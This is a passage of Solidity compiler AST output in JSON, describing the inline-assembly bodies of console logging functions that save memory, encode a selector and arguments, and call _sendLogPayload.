rc":"302895:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"303012:3:22","nodeType":"YulIdentifier","src":"303012:3:22"},{"name":"length","nativeSrc":"303017:6:22","nodeType":"YulIdentifier","src":"303017:6:22"}],"functionName":{"name":"mstore","nativeSrc":"303005:6:22","nodeType":"YulIdentifier","src":"303005:6:22"},"nativeSrc":"303005:19:22","nodeType":"YulFunctionCall","src":"303005:19:22"},"nativeSrc":"303005:19:22","nodeType":"YulExpressionStatement","src":"303005:19:22"},{"nativeSrc":"303041:37:22","nodeType":"YulVariableDeclaration","src":"303041:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"303058:3:22","nodeType":"YulLiteral","src":"303058:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"303067:1:22","nodeType":"YulLiteral","src":"303067:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"303070:6:22","nodeType":"YulIdentifier","src":"303070:6:22"}],"functionName":{"name":"shl","nativeSrc":"303063:3:22","nodeType":"YulIdentifier","src":"303063:3:22"},"nativeSrc":"303063:14:22","nodeType":"YulFunctionCall","src":"303063:14:22"}],"functionName":{"name":"sub","nativeSrc":"303054:3:22","nodeType":"YulIdentifier","src":"303054:3:22"},"nativeSrc":"303054:24:22","nodeType":"YulFunctionCall","src":"303054:24:22"},"variables":[{"name":"shift","nativeSrc":"303045:5:22","nodeType":"YulTypedName","src":"303045:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"303106:3:22","nodeType":"YulIdentifier","src":"303106:3:22"},{"kind":"number","nativeSrc":"303111:4:22","nodeType":"YulLiteral","src":"303111:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"303102:3:22","nodeType":"YulIdentifier","src":"303102:3:22"},"nativeSrc":"303102:14:22","nodeType":"YulFunctionCall","src":"303102:14:22"},{"arguments":[{"name":"shift","nativeSrc":"303122:5:22","nodeType":"YulIdentifier","src":"303122:5:22"},{"arguments":[{"name":"shift","nativeSrc":"303133:5:22","nodeType":"YulIdentifier","src":"303133:5:22"},{"name":"w","nativeSrc":"303140:1:22","nodeType":"YulIdentifier","src":"303140:1:22"}],"functionName":{"name":"shr","nativeSrc":"303129:3:22","nodeType":"YulIdentifier","src":"303129:3:22"},"nativeSrc":"303129:13:22","nodeType":"YulFunctionCall","src":"303129:13:22"}],"functionName":{"name":"shl","nativeSrc":"303118:3:22","nodeType":"YulIdentifier","src":"303118:3:22"},"nativeSrc":"303118:25:22","nodeType":"YulFunctionCall","src":"303118:25:22"}],"functionName":{"name":"mstore","nativeSrc":"303095:6:22","nodeType":"YulIdentifier","src":"303095:6:22"},"nativeSrc":"303095:49:22","nodeType":"YulFunctionCall","src":"303095:49:22"},"nativeSrc":"303095:49:22","nodeType":"YulExpressionStatement","src":"303095:49:22"}]},"name":"writeString","nativeSrc":"302816:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"302837:3:22","nodeType":"YulTypedName","src":"302837:3:22","type":""},{"name":"w","nativeSrc":"302842:1:22","nodeType":"YulTypedName","src":"302842:1:22","type":""}],"src":"302816:342:22"},{"nativeSrc":"303171:17:22","nodeType":"YulAssignment","src":"303171:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303183:4:22","nodeType":"YulLiteral","src":"303183:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"303177:5:22","nodeType":"YulIdentifier","src":"303177:5:22"},"nativeSrc":"303177:11:22","nodeType":"YulFunctionCall","src":"303177:11:22"},"variableNames":[{"name":"m0","nativeSrc":"303171:2:22","nodeType":"YulIdentifier","src":"303171:2:22"}]},{"nativeSrc":"303201:17:22","nodeType":"YulAssignment","src":"303201:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303213:4:22","nodeType":"YulLiteral","src":"303213:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"303207:5:22","nodeType":"YulIdentifier","src":"303207:5:22"},"nativeSrc":"303207:11:22","nodeType":"YulFunctionCall","src":"303207:11:22"},"variableNames":[{"name":"m1","nativeSrc":"303201:2:22","nodeType":"YulIdentifier","src":"303201:2:22"}]},{"nativeSrc":"303231:17:22","nodeType":"YulAssignment","src":"303231:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303243:4:22","nodeType":"YulLiteral","src":"303243:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"303237:5:22","nodeType":"YulIdentifier","src":"303237:5:22"},"nativeSrc":"303237:11:22","nodeType":"YulFunctionCall","src":"303237:11:22"},"variableNames":[{"name":"m2","nativeSrc":"303231:2:22","nodeType":"YulIdentifier","src":"303231:2:22"}]},{"nativeSrc":"303261:17:22","nodeType":"YulAssignment","src":"303261:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303273:4:22","nodeType":"YulLiteral","src":"303273:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"303267:5:22","nodeType":"YulIdentifier","src":"303267:5:22"},"nativeSrc":"303267:11:22","nodeType":"YulFunctionCall","src":"303267:11:22"},"variableNames":[{"name":"m3","nativeSrc":"303261:2:22","nodeType":"YulIdentifier","src":"303261:2:22"}]},{"nativeSrc":"303291:17:22","nodeType":"YulAssignment","src":"303291:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303303:4:22","nodeType":"YulLiteral","src":"303303:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"303297:5:22","nodeType":"YulIdentifier","src":"303297:5:22"},"nativeSrc":"303297:11:22","nodeType":"YulFunctionCall","src":"303297:11:22"},"variableNames":[{"name":"m4","nativeSrc":"303291:2:22","nodeType":"YulIdentifier","src":"303291:2:22"}]},{"nativeSrc":"303321:17:22","nodeType":"YulAssignment","src":"303321:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303333:4:22","nodeType":"YulLiteral","src":"303333:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"303327:5:22","nodeType":"YulIdentifier","src":"303327:5:22"},"nativeSrc":"303327:11:22","nodeType":"YulFunctionCall","src":"303327:11:22"},"variableNames":[{"name":"m5","nativeSrc":"303321:2:22","nodeType":"YulIdentifier","src":"303321:2:22"}]},{"nativeSrc":"303351:17:22","nodeType":"YulAssignment","src":"303351:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"303363:4:22","nodeType":"YulLiteral","src":"303363:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"303357:5:22","nodeType":"YulIdentifier","src":"303357:5:22"},"nativeSrc":"303357:11:22","nodeType":"YulFunctionCall","src":"303357:11:22"},"variableNames":[{"name":"m6","nativeSrc":"303351:2:22","nodeType":"YulIdentifier","src":"303351:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303454:4:22","nodeType":"YulLiteral","src":"303454:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"303460:10:22","nodeType":"YulLiteral","src":"303460:10:22","type":"","value":"0xed8f28f6"}],"functionName":{"name":"mstore","nativeSrc":"303447:6:22","nodeType":"YulIdentifier","src":"303447:6:22"},"nativeSrc":"303447:24:22","nodeType":"YulFunctionCall","src":"303447:24:22"},"nativeSrc":"303447:24:22","nodeType":"YulExpressionStatement","src":"303447:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303491:4:22","nodeType":"YulLiteral","src":"303491:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"303497:4:22","nodeType":"YulLiteral","src":"303497:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"303484:6:22","nodeType":"YulIdentifier","src":"303484:6:22"},"nativeSrc":"303484:18:22","nodeType":"YulFunctionCall","src":"303484:18:22"},"nativeSrc":"303484:18:22","nodeType":"YulExpressionStatement","src":"303484:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303522:4:22","nodeType":"YulLiteral","src":"303522:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"303528:2:22","nodeType":"YulIdentifier","src":"303528:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303515:6:22","nodeType":"YulIdentifier","src":"303515:6:22"},"nativeSrc":"303515:16:22","nodeType":"YulFunctionCall","src":"303515:16:22"},"nativeSrc":"303515:16:22","nodeType":"YulExpressionStatement","src":"303515:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303551:4:22","nodeType":"YulLiteral","src":"303551:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"303557:2:22","nodeType":"YulIdentifier","src":"303557:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303544:6:22","nodeType":"YulIdentifier","src":"303544:6:22"},"nativeSrc":"303544:16:22","nodeType":"YulFunctionCall","src":"303544:16:22"},"nativeSrc":"303544:16:22","nodeType":"YulExpressionStatement","src":"303544:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303580:4:22","nodeType":"YulLiteral","src":"303580:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"303586:2:22","nodeType":"YulIdentifier","src":"303586:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303573:6:22","nodeType":"YulIdentifier","src":"303573:6:22"},"nativeSrc":"303573:16:22","nodeType":"YulFunctionCall","src":"303573:16:22"},"nativeSrc":"303573:16:22","nodeType":"YulExpressionStatement","src":"303573:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303614:4:22","nodeType":"YulLiteral","src":"303614:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"303620:2:22","nodeType":"YulIdentifier","src":"303620:2:22"}],"functionName":{"name":"writeString","nativeSrc":"303602:11:22","nodeType":"YulIdentifier","src":"303602:11:22"},"nativeSrc":"303602:21:22","nodeType":"YulFunctionCall","src":"303602:21:22"},"nativeSrc":"303602:21:22","nodeType":"YulExpressionStatement","src":"303602:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43750,"isOffset":false,"isSlot":false,"src":"303171:2:22","valueSize":1},{"declaration":43753,"isOffset":false,"isSlot":false,"src":"303201:2:22","valueSize":1},{"declaration":43756,"isOffset":false,"isSlot":false,"src":"303231:2:22","valueSize":1},{"declaration":43759,"isOffset":false,"isSlot":false,"src":"303261:2:22","valueSize":1},{"declaration":43762,"isOffset":false,"isSlot":false,"src":"303291:2:22","valueSize":1},{"declaration":43765,"isOffset":false,"isSlot":false,"src":"303321:2:22","valueSize":1},{"declaration":43768,"isOffset":false,"isSlot":false,"src":"303351:2:22","valueSize":1},{"declaration":43740,"isOffset":false,"isSlot":false,"src":"303620:2:22","valueSize":1},{"declaration":43742,"isOffset":false,"isSlot":false,"src":"303528:2:22","valueSize":1},{"declaration":43744,"isOffset":false,"isSlot":false,"src":"303557:2:22","valueSize":1},{"declaration":43746,"isOffset":false,"isSlot":false,"src":"303586:2:22","valueSize":1}],"id":43770,"nodeType":"InlineAssembly","src":"302793:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43772,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"303658:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43773,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"303664:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43771,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"303642:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43774,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"303642:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43775,"nodeType":"ExpressionStatement","src":"303642:27:22"},{"AST":{"nativeSrc":"303688:214:22","nodeType":"YulBlock","src":"303688:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"303709:4:22","nodeType":"YulLiteral","src":"303709:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"303715:2:22","nodeType":"YulIdentifier","src":"303715:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303702:6:22","nodeType":"YulIdentifier","src":"303702:6:22"},"nativeSrc":"303702:16:22","nodeType":"YulFunctionCall","src":"303702:16:22"},"nativeSrc":"303702:16:22","nodeType":"YulExpressionStatement","src":"303702:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303738:4:22","nodeType":"YulLiteral","src":"303738:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"303744:2:22","nodeType":"YulIdentifier","src":"303744:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303731:6:22","nodeType":"YulIdentifier","src":"303731:6:22"},"nativeSrc":"303731:16:22","nodeType":"YulFunctionCall","src":"303731:16:22"},"nativeSrc":"303731:16:22","nodeType":"YulExpressionStatement","src":"303731:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303767:4:22","nodeType":"YulLiteral","src":"303767:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"303773:2:22","nodeType":"YulIdentifier","src":"303773:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303760:6:22","nodeType":"YulIdentifier","src":"303760:6:22"},"nativeSrc":"303760:16:22","nodeType":"YulFunctionCall","src":"303760:16:22"},"nativeSrc":"303760:16:22","nodeType":"YulExpressionStatement","src":"303760:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303796:4:22","nodeType":"YulLiteral","src":"303796:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"303802:2:22","nodeType":"YulIdentifier","src":"303802:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303789:6:22","nodeType":"YulIdentifier","src":"303789:6:22"},"nativeSrc":"303789:16:22","nodeType":"YulFunctionCall","src":"303789:16:22"},"nativeSrc":"303789:16:22","nodeType":"YulExpressionStatement","src":"303789:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303825:4:22","nodeType":"YulLiteral","src":"303825:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"303831:2:22","nodeType":"YulIdentifier","src":"303831:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303818:6:22","nodeType":"YulIdentifier","src":"303818:6:22"},"nativeSrc":"303818:16:22","nodeType":"YulFunctionCall","src":"303818:16:22"},"nativeSrc":"303818:16:22","nodeType":"YulExpressionStatement","src":"303818:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303854:4:22","nodeType":"YulLiteral","src":"303854:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"303860:2:22","nodeType":"YulIdentifier","src":"303860:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303847:6:22","nodeType":"YulIdentifier","src":"303847:6:22"},"nativeSrc":"303847:16:22","nodeType":"YulFunctionCall","src":"303847:16:22"},"nativeSrc":"303847:16:22","nodeType":"YulExpressionStatement","src":"303847:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"303883:4:22","nodeType":"YulLiteral","src":"303883:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"303889:2:22","nodeType":"YulIdentifier","src":"303889:2:22"}],"functionName":{"name":"mstore","nativeSrc":"303876:6:22","nodeType":"YulIdentifier","src":"303876:6:22"},"nativeSrc":"303876:16:22","nodeType":"YulFunctionCall","src":"303876:16:22"},"nativeSrc":"303876:16:22","nodeType":"YulExpressionStatement","src":"303876:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43750,"isOffset":false,"isSlot":false,"src":"303715:2:22","valueSize":1},{"declaration":43753,"isOffset":false,"isSlot":false,"src":"303744:2:22","valueSize":1},{"declaration":43756,"isOffset":false,"isSlot":false,"src":"303773:2:22","valueSize":1},{"declaration":43759,"isOffset":false,"isSlot":false,"src":"303802:2:22","valueSize":1},{"declaration":43762,"isOffset":false,"isSlot":false,"src":"303831:2:22","valueSize":1},{"declaration":43765,"isOffset":false,"isSlot":false,"src":"303860:2:22","valueSize":1},{"declaration":43768,"isOffset":false,"isSlot":false,"src":"303889:2:22","valueSize":1}],"id":43776,"nodeType":"InlineAssembly","src":"303679:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"302577:3:22","parameters":{"id":43747,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43740,"mutability":"mutable","name":"p0","nameLocation":"302589:2:22","nodeType":"VariableDeclaration","scope":43778,"src":"302581:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43739,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302581:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43742,"mutability":"mutable","name":"p1","nameLocation":"302601:2:22","nodeType":"VariableDeclaration","scope":43778,"src":"302593:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43741,"name":"address","nodeType":"ElementaryTypeName","src":"302593:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43744,"mutability":"mutable","name":"p2","nameLocation":"302613:2:22","nodeType":"VariableDeclaration","scope":43778,"src":"302605:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43743,"name":"address","nodeType":"ElementaryTypeName","src":"302605:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43746,"mutability":"mutable","name":"p3","nameLocation":"302625:2:22","nodeType":"VariableDeclaration","scope":43778,"src":"302617:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43745,"name":"address","nodeType":"ElementaryTypeName","src":"302617:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"302580:48:22"},"returnParameters":{"id":43748,"nodeType":"ParameterList","parameters":[],"src":"302643:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43818,"nodeType":"FunctionDefinition","src":"303914:1334:22","nodes":[],"body":{"id":43817,"nodeType":"Block","src":"303986:1262:22","nodes":[],"statements":[{"assignments":[43790],"declarations":[{"constant":false,"id":43790,"mutability":"mutable","name":"m0","nameLocation":"304004:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"303996:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43789,"name":"bytes32","nodeType":"ElementaryTypeName","src":"303996:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43791,"nodeType":"VariableDeclarationStatement","src":"303996:10:22"},{"assignments":[43793],"declarations":[{"constant":false,"id":43793,"mutability":"mutable","name":"m1","nameLocation":"304024:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"304016:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43792,"name":"bytes32","nodeType":"ElementaryTypeName","src":"304016:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43794,"nodeType":"VariableDeclarationStatement","src":"304016:10:22"},{"assignments":[43796],"declarations":[{"constant":false,"id":43796,"mutability":"mutable","name":"m2","nameLocation":"304044:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"304036:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43795,"name":"bytes32","nodeType":"ElementaryTypeName","src":"304036:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43797,"nodeType":"VariableDeclarationStatement","src":"304036:10:22"},{"assignments":[43799],"declarations":[{"constant":false,"id":43799,"mutability":"mutable","name":"m3","nameLocation":"304064:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"304056:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43798,"name":"bytes32","nodeType":"ElementaryTypeName","src":"304056:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43800,"nodeType":"VariableDeclarationStatement","src":"304056:10:22"},{"assignments":[43802],"declarations":[{"constant":false,"id":43802,"mutability":"mutable","name":"m4","nameLocation":"304084:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"304076:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43801,"name":"bytes32","nodeType":"ElementaryTypeName","src":"304076:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43803,"nodeType":"VariableDeclarationStatement","src":"304076:10:22"},{"assignments":[43805],"declarations":[{"constant":false,"id":43805,"mutability":"mutable","name":"m5","nameLocation":"304104:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"304096:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43804,"name":"bytes32","nodeType":"ElementaryTypeName","src":"304096:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43806,"nodeType":"VariableDeclarationStatement","src":"304096:10:22"},{"assignments":[43808],"declarations":[{"constant":false,"id":43808,"mutability":"mutable","name":"m6","nameLocation":"304124:2:22","nodeType":"VariableDeclaration","scope":43817,"src":"304116:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43807,"name":"bytes32","nodeType":"ElementaryTypeName","src":"304116:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43809,"nodeType":"VariableDeclarationStatement","src":"304116:10:22"},{"AST":{"nativeSrc":"304145:828:22","nodeType":"YulBlock","src":"304145:828:22","statements":[{"body":{"nativeSrc":"304188:313:22","nodeType":"YulBlock","src":"304188:313:22","statements":[{"nativeSrc":"304206:15:22","nodeType":"YulVariableDeclaration","src":"304206:15:22","value":{"kind":"number","nativeSrc":"304220:1:22","nodeType":"YulLiteral","src":"304220:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"304210:6:22","nodeType":"YulTypedName","src":"304210:6:22","type":""}]},{"body":{"nativeSrc":"304291:40:22","nodeType":"YulBlock","src":"304291:40:22","statements":[{"body":{"nativeSrc":"304320:9:22","nodeType":"YulBlock","src":"304320:9:22","statements":[{"nativeSrc":"304322:5:22","nodeType":"YulBreak","src":"304322:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"304308:6:22","nodeType":"YulIdentifier","src":"304308:6:22"},{"name":"w","nativeSrc":"304316:1:22","nodeType":"YulIdentifier","src":"304316:1:22"}],"functionName":{"name":"byte","nativeSrc":"304303:4:22","nodeType":"YulIdentifier","src":"304303:4:22"},"nativeSrc":"304303:15:22","nodeType":"YulFunctionCall","src":"304303:15:22"}],"functionName":{"name":"iszero","nativeSrc":"304296:6:22","nodeType":"YulIdentifier","src":"304296:6:22"},"nativeSrc":"304296:23:22","nodeType":"YulFunctionCall","src":"304296:23:22"},"nativeSrc":"304293:36:22","nodeType":"YulIf","src":"304293:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"304248:6:22","nodeType":"YulIdentifier","src":"304248:6:22"},{"kind":"number","nativeSrc":"304256:4:22","nodeType":"YulLiteral","src":"304256:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"304245:2:22","nodeType":"YulIdentifier","src":"304245:2:22"},"nativeSrc":"304245:16:22","nodeType":"YulFunctionCall","src":"304245:16:22"},"nativeSrc":"304238:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"304262:28:22","nodeType":"YulBlock","src":"304262:28:22","statements":[{"nativeSrc":"304264:24:22","nodeType":"YulAssignment","src":"304264:24:22","value":{"arguments":[{"name":"length","nativeSrc":"304278:6:22","nodeType":"YulIdentifier","src":"304278:6:22"},{"kind":"number","nativeSrc":"304286:1:22","nodeType":"YulLiteral","src":"304286:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"304274:3:22","nodeType":"YulIdentifier","src":"304274:3:22"},"nativeSrc":"304274:14:22","nodeType":"YulFunctionCall","src":"304274:14:22"},"variableNames":[{"name":"length","nativeSrc":"304264:6:22","nodeType":"YulIdentifier","src":"304264:6:22"}]}]},"pre":{"nativeSrc":"304242:2:22","nodeType":"YulBlock","src":"304242:2:22","statements":[]},"src":"304238:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"304355:3:22","nodeType":"YulIdentifier","src":"304355:3:22"},{"name":"length","nativeSrc":"304360:6:22","nodeType":"YulIdentifier","src":"304360:6:22"}],"functionName":{"name":"mstore","nativeSrc":"304348:6:22","nodeType":"YulIdentifier","src":"304348:6:22"},"nativeSrc":"304348:19:22","nodeType":"YulFunctionCall","src":"304348:19:22"},"nativeSrc":"304348:19:22","nodeType":"YulExpressionStatement","src":"304348:19:22"},{"nativeSrc":"304384:37:22","nodeType":"YulVariableDeclaration","src":"304384:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"304401:3:22","nodeType":"YulLiteral","src":"304401:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"304410:1:22","nodeType":"YulLiteral","src":"304410:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"304413:6:22","nodeType":"YulIdentifier","src":"304413:6:22"}],"functionName":{"name":"shl","nativeSrc":"304406:3:22","nodeType":"YulIdentifier","src":"304406:3:22"},"nativeSrc":"304406:14:22","nodeType":"YulFunctionCall","src":"304406:14:22"}],"functionName":{"name":"sub","nativeSrc":"304397:3:22","nodeType":"YulIdentifier","src":"304397:3:22"},"nativeSrc":"304397:24:22","nodeType":"YulFunctionCall","src":"304397:24:22"},"variables":[{"name":"shift","nativeSrc":"304388:5:22","nodeType":"YulTypedName","src":"304388:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"304449:3:22","nodeType":"YulIdentifier","src":"304449:3:22"},{"kind":"number","nativeSrc":"304454:4:22","nodeType":"YulLiteral","src":"304454:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"304445:3:22","nodeType":"YulIdentifier","src":"304445:3:22"},"nativeSrc":"304445:14:22","nodeType":"YulFunctionCall","src":"304445:14:22"},{"arguments":[{"name":"shift","nativeSrc":"304465:5:22","nodeType":"YulIdentifier","src":"304465:5:22"},{"arguments":[{"name":"shift","nativeSrc":"304476:5:22","nodeType":"YulIdentifier","src":"304476:5:22"},{"name":"w","nativeSrc":"304483:1:22","nodeType":"YulIdentifier","src":"304483:1:22"}],"functionName":{"name":"shr","nativeSrc":"304472:3:22","nodeType":"YulIdentifier","src":"304472:3:22"},"nativeSrc":"304472:13:22","nodeType":"YulFunctionCall","src":"304472:13:22"}],"functionName":{"name":"shl","nativeSrc":"304461:3:22","nodeType":"YulIdentifier","src":"304461:3:22"},"nativeSrc":"304461:25:22","nodeType":"YulFunctionCall","src":"304461:25:22"}],"functionName":{"name":"mstore","nativeSrc":"304438:6:22","nodeType":"YulIdentifier","src":"304438:6:22"},"nativeSrc":"304438:49:22","nodeType":"YulFunctionCall","src":"304438:49:22"},"nativeSrc":"304438:49:22","nodeType":"YulExpressionStatement","src":"304438:49:22"}]},"name":"writeString","nativeSrc":"304159:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"304180:3:22","nodeType":"YulTypedName","src":"304180:3:22","type":""},{"name":"w","nativeSrc":"304185:1:22","nodeType":"YulTypedName","src":"304185:1:22","type":""}],"src":"304159:342:22"},{"nativeSrc":"304514:17:22","nodeType":"YulAssignment","src":"304514:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304526:4:22","nodeType":"YulLiteral","src":"304526:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"304520:5:22","nodeType":"YulIdentifier","src":"304520:5:22"},"nativeSrc":"304520:11:22","nodeType":"YulFunctionCall","src":"304520:11:22"},"variableNames":[{"name":"m0","nativeSrc":"304514:2:22","nodeType":"YulIdentifier","src":"304514:2:22"}]},{"nativeSrc":"304544:17:22","nodeType":"YulAssignment","src":"304544:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304556:4:22","nodeType":"YulLiteral","src":"304556:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"304550:5:22","nodeType":"YulIdentifier","src":"304550:5:22"},"nativeSrc":"304550:11:22","nodeType":"YulFunctionCall","src":"304550:11:22"},"variableNames":[{"name":"m1","nativeSrc":"304544:2:22","nodeType":"YulIdentifier","src":"304544:2:22"}]},{"nativeSrc":"304574:17:22","nodeType":"YulAssignment","src":"304574: